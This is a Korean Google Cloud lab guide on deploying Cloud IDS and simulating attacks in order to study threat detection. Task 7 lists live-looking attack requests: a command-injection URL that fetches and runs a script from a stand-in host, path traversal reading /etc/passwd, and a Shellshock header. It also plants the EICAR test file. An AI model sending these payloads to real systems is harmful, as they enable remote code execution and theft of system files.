개요
이 실습에서는 침입, 멀웨어, 스파이웨어, 명령 및 제어 공격에 대한 위협 감지를 제공하는 차세대 고급 침입 감지 서비스인 Cloud Intrusion Detection System(Cloud IDS)을 배포합니다. 여러 공격을 시뮬레이션하고 Google Cloud 콘솔에서 위협 세부정보를 확인합니다.
목표
이 실습에서는 다음 작업을 수행하는 방법을 알아봅니다.
- 이전 다이어그램과 같은 방식으로 Google Cloud 네트워킹 환경을 빌드합니다.
- Cloud IDS 엔드포인트를 만듭니다.
- gcloud CLI 명령어를 사용하여 가상 머신 2개를 만듭니다.
- Cloud IDS 패킷 미러링 정책을 만듭니다.
- 가상 머신에서 공격 트래픽을 시뮬레이션합니다.
- Cloud 콘솔 및 Cloud Logging에서 위협 세부정보를 확인합니다.
설정
각 실습에서는 정해진 기간 동안 새 Google Cloud 프로젝트와 리소스 집합이 무료로 제공됩니다.
-
실습 시작 버튼을 클릭합니다. 실습 비용을 결제해야 하는 경우 결제 수단을 선택할 수 있는 팝업이 열립니다.
왼쪽에는 다음과 같은 항목이 포함된 실습 세부정보 패널이 있습니다.
-
Google Cloud 콘솔 열기 버튼
- 남은 시간
- 이 실습에 사용해야 하는 임시 사용자 인증 정보
- 필요한 경우 실습 진행을 위한 기타 정보
-
Google Cloud 콘솔 열기를 클릭합니다(Chrome 브라우저를 실행 중인 경우 마우스 오른쪽 버튼으로 클릭하고 시크릿 창에서 링크 열기를 선택합니다).
실습에서 리소스가 가동되면 다른 탭이 열리고 로그인 페이지가 표시됩니다.
팁: 두 개의 탭을 각각 별도의 창으로 나란히 정렬하세요.
참고: 계정 선택 대화상자가 표시되면 다른 계정 사용을 클릭합니다.
-
필요한 경우 아래의 사용자 이름을 복사하여 로그인 대화상자에 붙여넣습니다.
{{{user_0.username | "Username"}}}
실습 세부정보 패널에서도 사용자 이름을 확인할 수 있습니다.
-
다음을 클릭합니다.
-
아래의 비밀번호를 복사하여 시작하기 대화상자에 붙여넣습니다.
{{{user_0.password | "Password"}}}
실습 세부정보 패널에서도 비밀번호를 확인할 수 있습니다.
-
다음을 클릭합니다.
중요: 실습에서 제공하는 사용자 인증 정보를 사용해야 합니다. Google Cloud 계정 사용자 인증 정보를 사용하지 마세요.
참고: 이 실습에 자신의 Google Cloud 계정을 사용하면 추가 요금이 발생할 수 있습니다.
-
이후에 표시되는 페이지를 클릭하여 넘깁니다.
- 이용약관에 동의합니다.
- 임시 계정이므로 복구 옵션이나 2단계 인증을 추가하지 않습니다.
- 무료 체험판을 신청하지 않습니다.
잠시 후 Google Cloud 콘솔이 이 탭에서 열립니다.
참고: Google Cloud 제품 및 서비스 목록이 있는 메뉴를 보려면 왼쪽 상단의 탐색 메뉴를 클릭하거나 검색창에 제품 또는 서비스 이름을 입력합니다.
Google Cloud Shell 활성화하기
Google Cloud Shell은 다양한 개발 도구가 탑재된 가상 머신으로, 5GB의 영구 홈 디렉터리를 제공하며 Google Cloud에서 실행됩니다.
Google Cloud Shell을 사용하면 명령줄을 통해 Google Cloud 리소스에 액세스할 수 있습니다.
-
Cloud 콘솔의 오른쪽 상단 툴바에서 'Cloud Shell 열기' 버튼을 클릭합니다.

-
계속을 클릭합니다.
환경을 프로비저닝하고 연결하는 데 몇 분 정도 소요됩니다. 연결되면 사용자가 미리 인증되어 프로젝트가 PROJECT_ID로 설정됩니다. 예:

gcloud는 Google Cloud의 명령줄 도구입니다. Cloud Shell에 사전 설치되어 있으며 명령줄 자동 완성을 지원합니다.
- 다음 명령어를 사용하여 사용 중인 계정 이름을 나열할 수 있습니다.
gcloud auth list
출력:
Credentialed accounts:
- @.com (active)
출력 예시:
Credentialed accounts:
- google1623327_student@qwiklabs.net
- 다음 명령어를 사용하여 프로젝트 ID를 나열할 수 있습니다.
gcloud config list project
출력:
[core]
project =
출력 예시:
[core]
project = qwiklabs-gcp-44776a13dea667a6
참고:
gcloud 전체 문서는 gcloud CLI 개요 가이드를 참조하세요.
이 실습의 모든 작업은 Cloud Shell 내에서 gcloud CLI 명령어를 사용하여 수행됩니다.
작업 1. API 사용 설정
이 작업에서는 프로젝트 ID 변수를 설정한 다음, 실습에 필요한 API를 사용 설정합니다.
- Cloud Shell에서 다음 명령어를 실행하여 Project_ID 환경 변수를 설정합니다.
export PROJECT_ID=$(gcloud config get-value project | sed '2d')
- Service Networking API를 사용 설정합니다.
gcloud services enable servicenetworking.googleapis.com \
--project=$PROJECT_ID
명령어를 승인하라는 메시지가 표시되면 승인을 클릭합니다.
- Cloud IDS API를 사용 설정합니다.
gcloud services enable ids.googleapis.com \
--project=$PROJECT_ID
- Cloud Logging API를 사용 설정합니다.
gcloud services enable logging.googleapis.com \
--project=$PROJECT_ID
내 진행 상황 확인하기를 클릭하여 목표를 확인합니다.
API 사용 설정
작업 2. Google Cloud 네트워킹 풋프린트 빌드
이 작업에서는 Google Cloud VPC 네트워크를 만들고 비공개 서비스 액세스를 구성합니다.
비공개 서비스 액세스는 VPC 네트워크와 Google 또는 서드 파티 소유 네트워크 간의 비공개 연결입니다. Google 또는 서드 파티 등 서비스 제공 법인은 서비스 프로듀서라고도 합니다.
비공개 연결을 통해 VPC 네트워크의 가상 머신(VM) 인스턴스와 액세스하는 서비스가 내부 IP 주소만 사용하여 통신할 수 있습니다.
- Cloud Shell에서 다음 명령어를 실행하여 VPC를 만듭니다.
gcloud compute networks create cloud-ids \
--subnet-mode=custom
명령어를 승인하라는 메시지가 표시되면 승인을 클릭합니다.
- us-east1에 있는 미러링된 트래픽용 VPC에 서브넷을 추가합니다.
gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1
- 비공개 서비스 액세스를 구성합니다.
gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids
- 비공개 연결을 만듭니다.
gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID
내 진행 상황 확인하기를 클릭하여 목표를 확인합니다.
VPC 만들기
작업 3. Cloud IDS 엔드포인트 만들기
이 작업에서는 심각도가 정보로 설정된 us-east1에 Cloud IDS 엔드포인트를 만듭니다.
Cloud IDS는 리전 내 모든 영역에서 트래픽을 검사할 수 있는 영역별 리소스인 IDS 엔드포인트 리소스를 사용합니다. 각 IDS 엔드포인트는 미러링된 트래픽을 수신하고 위협 감지 분석을 수행합니다.
참고: IDS 엔드포인트를 만드는 데 약 20분이 걸립니다.
- Cloud IDS 엔드포인트를 만들려면 Cloud Shell에서 다음 명령어를 실행합니다.
gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async
- Cloud IDS 엔드포인트가 시작되었는지 확인합니다.
gcloud ids endpoints list --project=$PROJECT_ID
Would you like to enable and retry라는 메시지가 표시되면 Y를 누릅니다.
다음과 유사하게 출력됩니다.
ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:
내 진행 상황 확인하기를 클릭하여 목표를 확인합니다.
Cloud IDS 엔드포인트 만들기
작업 4. 방화벽 규칙 및 Cloud NAT 만들기
이 작업에서는 allow-http-icmp와 allow-iap-proxy라는 두 개의 방화벽 규칙을 만듭니다.
cloud-ids 네트워크의 모든 소스에서 서버 VM으로의 표준 HTTP 포트(TCP 80) 연결과 ICMP 프로토콜 연결을 사용 설정하려면 allow-http-icmp 규칙을 정의합니다.
IAP(Identity-Aware Proxy) IP 범위에서 VM으로의 SSH 연결을 사용 설정하려면 allow-iap-proxy_ 규칙을 정의합니다.
또한 Cloud Router를 구성한 다음 Cloud NAT를 구성합니다. Cloud NAT의 기본 요건으로, 먼저 동일한 리전에서 Cloud Router를 구성해야 합니다. 공개 IP 주소가 없는 VM에 인터넷 액세스를 제공하려면 동일한 리전에 Cloud NAT를 만들어야 합니다. VM은 인터넷에서 액세스할 수 없도록 공개 IP 주소 없이 생성됩니다. 하지만 업데이트와 파일을 다운로드하려면 인터넷에 액세스해야 합니다.
- allow-http-icmp 규칙을 만들려면 Cloud Shell에서 다음 명령어를 실행합니다.
gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server
- allow-iap-proxy 규칙을 만듭니다.
gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20
내 진행 상황 확인하기를 클릭하여 목표를 확인합니다.
VPC에 방화벽 규칙 추가
- Cloud Router를 만들려면 다음 명령어를 실행합니다.
gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids
- Cloud NAT를 구성하려면 다음 명령어를 실행합니다.
gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges
내 진행 상황 확인하기를 클릭하여 목표를 확인합니다.
Cloud Router 만들기
작업 5. 가상 머신 2개 만들기
이 작업에서는 가상 머신(VM) 2개를 만듭니다. 첫 번째 가상 머신은 Cloud IDS에 미러링되는 웹 서버입니다. 두 번째 가상 머신은 공격 트래픽의 소스입니다.
IAP(Identity-Aware Proxy)를 통해 서버에 SSH 연결을 설정하고, 웹 서비스 서버의 상태를 확인하고, 웹 서버에 무해한 멀웨어 파일을 만든 다음, 파일에 콘텐츠를 추가합니다.
- Cloud IDS에 미러링할 서버가 될 가상 머신을 만들려면 Cloud Shell에서 다음 명령어를 실행합니다.
gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-11-bullseye-v20240709 \
--image-project=debian-cloud \
--boot-disk-size=10GB
이 명령어는 us-east1에서 Debian 서버를 만들고 간단한 웹 서비스를 설치합니다.
- 공격 트래픽을 전송하는 클라이언트가 될 가상 머신을 만듭니다.
gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-11-bullseye-v20240709 \
--image-project=debian-cloud \
--boot-disk-size=10GB
이 명령어는 us-east1에서 Debian 서버를 클라이언트로 사용할 수 있도록 준비합니다.
내 진행 상황 확인하기를 클릭하여 목표를 확인합니다.
가상 머신 만들기
서버 준비
이 절차에서는 서버를 검증한 다음, 클라이언트에 대한 무해한 멀웨어 페이로드를 만듭니다.
- IAP를 통해 서버에 대한 SSH 연결을 설정하려면 다음 명령어를 실행합니다.
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
이 명령어를 실행하면 ssh 키와 필요한 디렉터리를 만드는 일련의 단계를 안내하는 프롬프트가 표시됩니다.
-
디렉터리 생성 프롬프트에 동의하려면 Y를 입력합니다.
-
암호를 묻는 메시지가 표시되면 Enter 키를 두 번 눌러 암호를 비워둡니다.
이제 서버 VM의 셸에 연결되어 있습니다.
웹 서비스가 실행 중인지 확인
이 절차에서는 웹 서비스 서버의 상태를 확인합니다. 웹 서버에서 무해한 멀웨어 파일을 만든 다음, 파일에 콘텐츠를 추가합니다.
- 웹 서비스의 상태를 확인하려면 다음 Linux 명령어를 실행합니다.
sudo systemctl status nginx
다음과 유사하게 출력됩니다.
● nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24 min ago
Docs: man:nginx(8)
Main PID: 1347 (nginx)
Tasks: 3 (limit: 4665)
Memory: 4.5M
CGroup: /system.slice/nginx.service
├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
├─1348 nginx: worker process
└─1349 nginx: worker process
May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
- 디렉터리를 웹 서비스로 변경합니다.
cd /var/www/html/
- 웹 서버에 무해한 멀웨어 파일을 만듭니다. 다음 Linux 명령어를 실행하여 텍스트 파일을 만듭니다.
sudo touch eicar.file
- 새로 만든 파일에 다음 콘텐츠를 추가합니다.
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
- 서버 VM 셸을 종료하고 Cloud Shell로 돌아갑니다.
exit
작업 6. Cloud IDS 패킷 미러링 정책 만들기
이 작업에서는 Cloud IDS 패킷 미러링 정책을 만듭니다. 이 정책은 Cloud IDS로 미러링되는 트래픽을 결정합니다. 그런 다음 이 정책을 새로 만든 Cloud IDS 엔드포인트에 연결합니다.
앞서 언급했듯이 Cloud IDS 엔드포인트를 만드는 데 다소 시간이 걸립니다. 이 실습을 진행하려면 엔드포인트가 활성/준비 상태여야 합니다.
1. Cloud IDS 엔드포인트가 활성 상태인지 확인하려면 Cloud Shell에서 다음 명령어를 실행하여 Cloud IDS 엔드포인트의 현재 상태를 표시합니다.
gcloud ids endpoints list --project=$PROJECT_ID | grep STATE
다음과 유사하게 출력됩니다.
STATE: READY
상태가 READY로 표시될 때까지 몇 분 간격으로 이 명령어를 계속 실행합니다.
- Cloud IDS 엔드포인트 전달 규칙을 식별하고 Cloud IDS 엔드포인트 상태가 READY인지 확인합니다.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE
다음과 유사하게 출력됩니다.
https://www.googleapis.com/compute/v1/projects/md975a7fa0a53145dp-tp/regions/us-east1/forwardingRules/ids-fr-cloud--xkkerutlagop6opm
- 패킷 미러링 정책을 만들고 연결합니다.
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1
내 진행 상황 확인하기를 클릭하여 목표를 확인합니다.
패킷 미러링 정책을 만들고 연결하기
- 패킷 미러링 정책이 생성되었는지 확인합니다.
gcloud compute packet-mirrorings list
이 gcloud 명령어는 패킷 미러링 정책을 나열하고 사용 설정/중지 여부를 표시합니다.
다음과 유사하게 출력됩니다.
NAME: cloud-ids-packet-mirroring
REGION: us-east1
NETWORK: cloud-ids
ENABLE: TRUE
작업 7. 공격 트래픽 시뮬레이션
이 작업에서는 공격받은 가상 머신에 SSH 연결을 설정하고 가상 머신에서 서버로의 공격 트래픽을 시뮬레이션합니다. 이를 위해 심각도가 '낮음'부터 '심각'까지 다양한 curl 명령어를 실행합니다.
- IAP를 통해 공격자 가상 머신에 대한 SSH 연결을 설정하려면 Cloud Shell에서 다음 명령어를 실행합니다.
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
참고: 이제 Cloud Shell 머신이 아닌 공격자 VM의 셸에 연결되어 있습니다.
- 다음
curl 요청을 순서대로 실행하여 IDS에서 심각도가 낮음, 중간, 높음, 심각 수준의 알림을 시뮬레이션합니다.
심각도 낮음:
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
심각도 중간:
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
심각도 높음:
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
심각도 심각:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
- 공격자 가상 머신 셸을 종료하고 Cloud Shell로 돌아갑니다.
exit
작업 8. Cloud IDS에서 감지한 위협 검토
이 작업에서는 Cloud 콘솔에서 Cloud IDS가 캡처한 다양한 공격 트래픽을 검토합니다. 캡처된 공격 트래픽 프로필은 각 위협에 대한 세부정보를 제공합니다.
-
Google Cloud 콘솔의 탐색 메뉴(
)에서 네트워크 보안 > IDS 대시보드를 클릭합니다.
-
상위 위협에서 상위 위협 보기를 클릭합니다.
Cloud IDS는 다양한 공격 트래픽 프로필을 캡처하고 각 위협에 대한 세부정보를 제공했습니다. 위협이 표시되지 않으면 새로고침을 클릭해야 할 수 있습니다. 좀 더 자세히 살펴보고 위협 세부정보를 확인해 보겠습니다.
-
Bash 원격 코드 실행 취약점 위협을 찾고 더보기(
)를 클릭한 다음 위협 세부정보 보기를 선택합니다.
참고: 'Bash 원격 코드 실행 취약점'과 같이 동일한 이름을 생성하는 여러 위협이 있을 수 있습니다. 이는 정상적인 동작입니다. 자세히 살펴보면 위협의 세션 ID가 서로 다르다는 것을 알 수 있습니다. 생성된 두 VM이 모두 동일한 서브넷에 있으므로 클라이언트와 서버 모두에 대해 미러링된 패킷이 표시됩니다. 클라이언트의 아웃바운드 패킷이 IDS에 미러링되고 서버의 인바운드 패킷도 IDS에 미러링됩니다.
-
이제 Cloud Logging에서 이 사고의 세부정보를 살펴보겠습니다. 위협 페이지로 돌아가려면 왼쪽 화살표를 클릭합니다.
-
탐색 메뉴에서 IDS 위협을 클릭합니다.
-
Bash 원격 코드 실행 취약점을 찾고 더보기를 클릭한 다음 위협 로그 보기를 선택합니다.
새 Cloud Logging 탭이 열리고 동일한 세부정보가 표시됩니다. 이를 통해 로그를 Cloud Storage, Chronicle 또는 모든 SIEM/SOAR로 보낼 수 있습니다. 또한 알림을 기반으로 해결 조치를 취하는 커스텀 워크플로를 만들 수도 있습니다. 예를 들어 알림에 트리거되는 Cloud 함수를 만들고 방화벽 규칙을 만들거나 업데이트하여 IP 주소를 차단하거나, Google Cloud Armor 정책을 만들거나 업데이트할 수 있습니다.
내 진행 상황 확인하기를 클릭하여 목표를 확인합니다.
Cloud IDS 시작하기
수고하셨습니다
이 실습에서는 다음 작업을 수행했습니다.
-
새로운 VPC를 만들고 Cloud IDS 엔드포인트를 배포했습니다.
-
VM 2개를 배포하고 패킷 미러링 정책을 만든 다음 공격 트래픽을 전송했습니다.
-
Cloud 콘솔에서 위협 세부정보를 확인하고 Cloud Logging에서 위협 로그를 확인하여 Cloud IDS가 위협을 캡처했는지 확인했습니다.
실습 종료하기
실습을 완료하면 실습 종료를 클릭합니다. Google Skills에서 사용된 리소스를 자동으로 삭제하고 계정을 지웁니다.
실습 경험을 평가할 수 있습니다. 해당하는 별표 수를 선택하고 의견을 입력한 후 제출을 클릭합니다.
별점의 의미는 다음과 같습니다.
- 별표 1개 = 매우 불만족
- 별표 2개 = 불만족
- 별표 3개 = 중간
- 별표 4개 = 만족
- 별표 5개 = 매우 만족
의견을 제공하고 싶지 않다면 대화상자를 닫으면 됩니다.
의견이나 제안 또는 수정할 사항이 있다면 지원 탭을 사용하세요.
Copyright 2026 Google LLC All rights reserved. Google 및 Google 로고는 Google LLC의 상표입니다. 기타 모든 회사명 및 제품명은 해당 업체의 상표일 수 있습니다.